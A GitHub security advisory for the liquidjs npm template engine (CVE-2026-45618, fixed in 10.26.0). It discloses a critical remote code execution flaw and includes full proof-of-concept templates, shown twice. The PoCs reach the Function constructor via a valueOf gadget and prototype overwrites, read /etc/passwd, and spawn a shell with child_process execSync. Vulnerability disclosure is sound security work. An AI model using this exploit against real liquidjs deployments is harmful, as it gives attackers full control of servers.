GHSA-GF2Q-C269-PQGC

Vulnerability from github – Published: 2026-05-27 18:24 – Updated: 2026-05-27 18:24
VLAI
Summary
LiquidJS is Vulnerable to Remote Code Execution
Details

Summary

It is possible to execute arbitrary code with crafted templates

Details

`1|valueOf` -> `this` when evaluating the filter
{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
function calls with a controlled first argument via comprable
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}

${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
image changing the prototype of things
import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}

{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
image

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}

${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}

{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")} 

{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}

{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

Impact

What kind of vulnerability is it? Who is impacted? Remote Code Execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T18:24:14Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nIt is possible to execute arbitrary code with crafted templates\n\n\n### Details\n\n\u003cdetails\u003e\n\u003csummary\u003e\n `1|valueOf` -\u003e `this` when evaluating the filter\n\n\n\u003c/summary\u003e\n\n```liquid\n{%assign r=1|valueOf%}\n{{r|inspect}}\n```\n\n```json\n{\"context\":{\"scopes\":[{\"r\":\"[Circular]\"}],\"registers\":{},\"breakCalled\":false,\"continueCalled\":false,\"sync\":false,\"opts\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null},\"globals\":{},\"environments\":{},\"strictVariables\":false,\"ownPropertyOnly\":true,\"memoryLimit\":{\"base\":0,\"message\":\"memory alloc limit exceeded\",\"limit\":null},\"renderLimit\":{\"base\":0,\"message\":\"template render limit exceeded\",\"limit\":null}},\"token\":{\"kind\":32,\"input\":\"{%assign r=1|valueOf%}\\n{{r|inspect}}\",\"begin\":13,\"end\":20,\"name\":\"valueOf\",\"args\":[]},\"liquid\":{\"renderer\":{},\"filters\":{\"raw\":{\"raw\":true}},\"tags\":{},\"options\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null},\"parser\":{\"liquid\":\"[Circular]\",\"fs\":{\"sep\":\"/\"},\"loader\":{\"options\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null}},\"parseLimit\":{\"base\":0,\"message\":\"parse length limit exceeded\",\"limit\":null}}}}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\nfunction calls with a controlled first argument via comprable\n\n\u003c/summary\u003e\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nconst storeFn = (dst, src) =\u003e {\n  const parts = src.split(\".\");\n  const path = parts.slice(0, -1).join(\".\");\n  const prop = parts.at(-1);\n\n  return `\n{% assign _g = ${path}|group_by:\"0\"%}\n{% assign _gs = _g | where:n,\"${prop}\"|first%}\n{% assign ${dst} = _gs.items | first | last %}`;\n};\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first\nassign fs = r.liquid.options.fs\nassign n = \"name\"%}\n\n${storeFn(\"equals\", \"fs.readFileSync\")}\n${storeFn(\"gt\", \"fs.readFileSync\")}\n${storeFn(\"geq\", \"fs.readFileSync\")}\n${storeFn(\"lt\", \"fs.readFileSync\")}\n${storeFn(\"leq\", \"fs.readFileSync\")}\n\n{{m == \"/etc/passwd\"}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\n\u003cimg width=\"1426\" height=\"717\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a\" /\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003echanging the prototype of things\u003c/summary\u003e\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nengine.registerFilter(\"log\", (val) =\u003e console.dir(val, { depth: 1 }));\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first %}\n\n{{m|log}}\n{% assign __proto__ = r.liquid.parser %}\n{{m|log}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\u003cimg width=\"723\" height=\"211\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668\" /\u003e\n\n\u003c/details\u003e \n\nWhen calling functions via the comparable gadget, `this` will be the scope.\nBy overwriting `this.loader.lookup` and `this.readFile`, to fully control what goes into `this.parse`, and while controlling `this`, a reference to the `Function` constructor can be obtained, which then allows executing arbitrary code.\n\n```ts\n  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator\u003cunknown, Template[], string\u003e {\n    const filepath = yield this.loader.lookup(file, type, sync, currentFile)\n    return this.parse(yield this.readFile(!!sync, filepath), filepath)\n  }\n```\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nconst storeFn = (dst, src) =\u003e {\n  const parts = src.split(\".\");\n  const path = parts.slice(0, -1).join(\".\");\n  const prop = parts.at(-1);\n\n  return `\n{% assign _g = ${path}|group_by:\"0\"%}\n{% assign _gs = _g | where:n,\"${prop}\"|first%}\n{% assign ${dst} = _gs.items | first | last %}`;\n};\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first\nassign l = r.liquid\nassign p = l.parser\nassign f = l.filters\nassign n = \"name\"%}\n\n${storeFn(\"equals\", \"p.parseFile\")}\n${storeFn(\"gt\", \"p.parseFile\")}\n${storeFn(\"geq\", \"p.parseFile\")}\n${storeFn(\"lt\", \"p.parseFile\")}\n${storeFn(\"leq\", \"p.parseFile\")}\n\n${storeFn(\"readFile\", \"f.default\")}\n${storeFn(\"lookup\", \"f.raw.handler\")}\n\n{% assign loader = m %}\n{% assign context = m %}\n{% assign opts = m %}\n{% assign liquid = m %}\n{% assign options = m %}\n{% assign __proto__ = p %}\n\n{% assign tagDelimiterLeft = n %}\n{% assign tagDelimiterRight = n %}\n{% assign outputDelimiterLeft = \u0027[\u0027 %}\n{% assign outputDelimiterRight = \u0027]\u0027%}\n\n{# set to some some function, so that filters[\u0027constructor\u0027] -\u003e Function #}\n${storeFn(\"filters\", \"f.raw.handler\")} \n\n{# store Function #}\n{% assign output = m == \"[0|constructor]\" | first %}\n{% assign val = output.value.filters|first %}\n\n{# set scope.equals to Function #}\n${storeFn(\"equals\", \"val.handler\")}\n{% assign RCE = m == \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027})\" %}\n{{RCE}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nRemote Code Execution.",
  "id": "GHSA-gf2q-c269-pqgc",
  "modified": "2026-05-27T18:24:14Z",
  "published": "2026-05-27T18:24:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-gf2q-c269-pqgc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS is Vulnerable to Remote Code Execution"
}



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